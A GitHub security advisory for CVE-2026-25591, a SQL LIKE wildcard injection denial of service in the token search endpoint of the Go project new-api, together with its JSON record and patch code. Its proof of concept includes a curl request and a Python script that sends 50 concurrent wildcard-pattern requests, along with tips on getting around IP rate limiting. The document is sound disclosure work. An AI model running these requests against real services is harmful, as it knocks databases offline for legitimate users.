GHSA-W6X6-9FP7-FQM4
Vulnerability from github – Published: 2026-02-23 21:56 – Updated: 2026-02-27 21:42
VLAI?
Summary
New API has an SQL LIKE Wildcard Injection DoS via Token Search
Details
Summary
A SQL LIKE wildcard injection vulnerability in the /api/token/search endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns.
Details
The token search endpoint accepts user-supplied keyword and token parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (%, _). This allows attackers to inject patterns that trigger expensive database queries.
Vulnerable Code
File: model/token.go:70
err = DB.Where("user_id = ?", userId).
Where("name LIKE ?", "%"+keyword+"%"). // No wildcard escaping
Where(commonKeyCol+" LIKE ?", "%"+token+"%").
Find(&tokens).Error
PoC
After creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches.
These data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted:
# A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly.
curl 'http://localhost:3000/api/token/search?keyword=%&token='
It will cause DoS.
import requests
from concurrent.futures import ThreadPoolExecutor
def attack(session_cookie):
requests.get(
'http://localhost:3000/api/token/search',
params={'keyword': '%_%_%_%_%_%', 'token': ''},
cookies={'session': session_cookie},
headers={'New-API-User': '1'}
)
# Launch 50 concurrent malicious requests
with ThreadPoolExecutor(max_workers=50) as executor:
for _ in range(50):
executor.submit(attack, '<valid_session>')
Impact
Availability
RAM Overflow
Postgres unavailable
- Database CPU usage spike to 100%
- Application memory exhaustion
- Legitimate user requests blocked or significantly delayed
- Potential application crash or database connection pool exhaustion
Database Performance
Testing with 2,000,000 tokens:
| Pattern | Query Time | Rows | Impact |
|---|---|---|---|
test (normal) |
~50ms | 0 | Low |
% (full scan) |
5,973ms | 2,000,000 | High |
%_%_%_%_%_% |
6,200ms+ | 2,000,000 | Very High |
Attack Scalability
- Single attacker: Can launch 10-50 concurrent requests easily
- Multiple accounts: Attacker can register multiple accounts (if registration enabled)
- Proxy rotation: IP-based rate limiting can be bypassed
- Persistence: Attack can be sustained indefinitely
Resource Consumption
Each malicious request with 2M results: - Database: ~6 seconds CPU time - Network: ~200MB data transfer - Application Memory: ~200MB+ for JSON serialization - Connection Time: Database connection held for entire query duration
Exploitation Scenario
- Attacker registers or compromises a regular user account
- Attacker crafts malicious LIKE patterns using
%wildcards - Attacker launches concurrent requests (50-200 concurrent)
- Database becomes overwhelmed with slow queries
- Application memory exhausts from processing large result sets
- Legitimate users experience service degradation or complete unavailability
## Patch Recommendations
1. Escape LIKE Wildcards (Critical)
func escapeLike(s string) string {
s = strings.ReplaceAll(s, "\\", "\\\\")
s = strings.ReplaceAll(s, "%", "\\%")
s = strings.ReplaceAll(s, "_", "\\_")
return s
}
func SearchUserTokens(userId int, keyword string, token string) (tokens []*Token, err error) {
keyword = escapeLike(keyword)
token = strings.Trim(token, "sk-")
token = escapeLike(token)
err = DB.Where("user_id = ?", userId).
Where("name LIKE ? ESCAPE '\\\\'", "%"+keyword+"%").
Where(commonKeyCol+" LIKE ? ESCAPE '\\\\'", "%"+token+"%").
Limit(1000).
Find(&tokens).Error
return tokens, err
}
2. Add User-Level Rate Limiting
tokenRoute.GET("/search",
middleware.TokenSearchRateLimit(), // 30 req/min per user
controller.SearchTokens)
3. Add Query Timeout
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
err = DB.WithContext(ctx).Where(...).Find(&tokens).Error
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/QuantumNous/new-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.10.8-alpha.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25591"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-23T21:56:47Z",
"nvd_published_at": "2026-02-24T01:16:13Z",
"severity": "HIGH"
},
"details": "### Summary\nA SQL LIKE wildcard injection vulnerability in the `/api/token/search` endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns.\n\n### Details\nThe token search endpoint accepts user-supplied `keyword` and `token` parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (`%`, `_`). This allows attackers to inject patterns that trigger expensive database queries.\n\n### Vulnerable Code\nFile: `model/token.go:70`\n```go\nerr = DB.Where(\"user_id = ?\", userId).\n Where(\"name LIKE ?\", \"%\"+keyword+\"%\"). // No wildcard escaping\n Where(commonKeyCol+\" LIKE ?\", \"%\"+token+\"%\").\n Find(\u0026tokens).Error\n```\n\n### PoC\n\nAfter creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches.\n\n\u003cimg width=\"1636\" height=\"659\" alt=\"image\" src=\"https://github.com/user-attachments/assets/55e63dcd-884d-41bc-9bea-4300ba1b50c6\" /\u003e\n\nThese data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted:\n\n```bash\n# A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly.\ncurl \u0027http://localhost:3000/api/token/search?keyword=%\u0026token=\u0027\n```\n\n\u003cimg width=\"491\" height=\"350\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c31d9639-3550-4e93-8735-fba068f56124\" /\u003e\n\nIt will cause DoS.\n\n```python\nimport requests\nfrom concurrent.futures import ThreadPoolExecutor\n\ndef attack(session_cookie):\n requests.get(\n \u0027http://localhost:3000/api/token/search\u0027,\n params={\u0027keyword\u0027: \u0027%_%_%_%_%_%\u0027, \u0027token\u0027: \u0027\u0027},\n cookies={\u0027session\u0027: session_cookie},\n headers={\u0027New-API-User\u0027: \u00271\u0027}\n )\n\n# Launch 50 concurrent malicious requests\nwith ThreadPoolExecutor(max_workers=50) as executor:\n for _ in range(50):\n executor.submit(attack, \u0027\u003cvalid_session\u003e\u0027)\n```\n\n### Impact\n**Availability**\n\nRAM Overflow\n\n\u003cimg width=\"1078\" height=\"145\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c0bb5159-6943-42bd-a9f4-5c60c57fb149\" /\u003e\n\nPostgres unavailable\n\n\u003cimg width=\"772\" height=\"185\" alt=\"image\" src=\"https://github.com/user-attachments/assets/245e4f59-0ec5-4f9b-a839-3c9bb61be14b\" /\u003e\n\n- Database CPU usage spike to 100%\n- Application memory exhaustion\n- Legitimate user requests blocked or significantly delayed\n- Potential application crash or database connection pool exhaustion\n\n### Database Performance\n\nTesting with 2,000,000 tokens:\n\n| Pattern | Query Time | Rows | Impact |\n|---------|-----------|------|--------|\n| `test` (normal) | ~50ms | 0 | Low |\n| `%` (full scan) | 5,973ms | 2,000,000 | High |\n| `%_%_%_%_%_%` | 6,200ms+ | 2,000,000 | Very High |\n\n### Attack Scalability\n\n- **Single attacker**: Can launch 10-50 concurrent requests easily\n- **Multiple accounts**: Attacker can register multiple accounts (if registration enabled)\n- **Proxy rotation**: IP-based rate limiting can be bypassed\n- **Persistence**: Attack can be sustained indefinitely\n\n### Resource Consumption\n\nEach malicious request with 2M results:\n- **Database**: ~6 seconds CPU time\n- **Network**: ~200MB data transfer\n- **Application Memory**: ~200MB+ for JSON serialization\n- **Connection Time**: Database connection held for entire query duration\n\n## Exploitation Scenario\n\n1. Attacker registers or compromises a regular user account\n2. Attacker crafts malicious LIKE patterns using `%` wildcards\n3. Attacker launches concurrent requests (50-200 concurrent)\n4. Database becomes overwhelmed with slow queries\n5. Application memory exhausts from processing large result sets\n6. Legitimate users experience service degradation or complete unavailability\n\n ## Patch Recommendations\n### 1. Escape LIKE Wildcards (Critical)\n```go\nfunc escapeLike(s string) string {\n s = strings.ReplaceAll(s, \"\\\\\", \"\\\\\\\\\")\n s = strings.ReplaceAll(s, \"%\", \"\\\\%\")\n s = strings.ReplaceAll(s, \"_\", \"\\\\_\")\n return s\n}\n\nfunc SearchUserTokens(userId int, keyword string, token string) (tokens []*Token, err error) {\n keyword = escapeLike(keyword)\n token = strings.Trim(token, \"sk-\")\n token = escapeLike(token)\n\n err = DB.Where(\"user_id = ?\", userId).\n Where(\"name LIKE ? ESCAPE \u0027\\\\\\\\\u0027\", \"%\"+keyword+\"%\").\n Where(commonKeyCol+\" LIKE ? ESCAPE \u0027\\\\\\\\\u0027\", \"%\"+token+\"%\").\n Limit(1000).\n Find(\u0026tokens).Error\n return tokens, err\n}\n```\n\n### 2. Add User-Level Rate Limiting\n```go\ntokenRoute.GET(\"/search\",\n middleware.TokenSearchRateLimit(), // 30 req/min per user\n controller.SearchTokens)\n```\n\n### 3. Add Query Timeout\n```go\nctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\ndefer cancel()\nerr = DB.WithContext(ctx).Where(...).Find(\u0026tokens).Error\n```",
"id": "GHSA-w6x6-9fp7-fqm4",
"modified": "2026-02-27T21:42:31Z",
"published": "2026-02-23T21:56:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-w6x6-9fp7-fqm4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25591"
},
{
"type": "WEB",
"url": "https://github.com/QuantumNous/new-api/commit/3e1be18310f35d20742683ca9e4bf3bcafc173c5"
},
{
"type": "PACKAGE",
"url": "https://github.com/QuantumNous/new-api"
},
{
"type": "WEB",
"url": "https://github.com/QuantumNous/new-api/releases/tag/v0.10.8-alpha.10"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2026-4531"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "New API has an SQL LIKE Wildcard Injection DoS via Token Search"
}
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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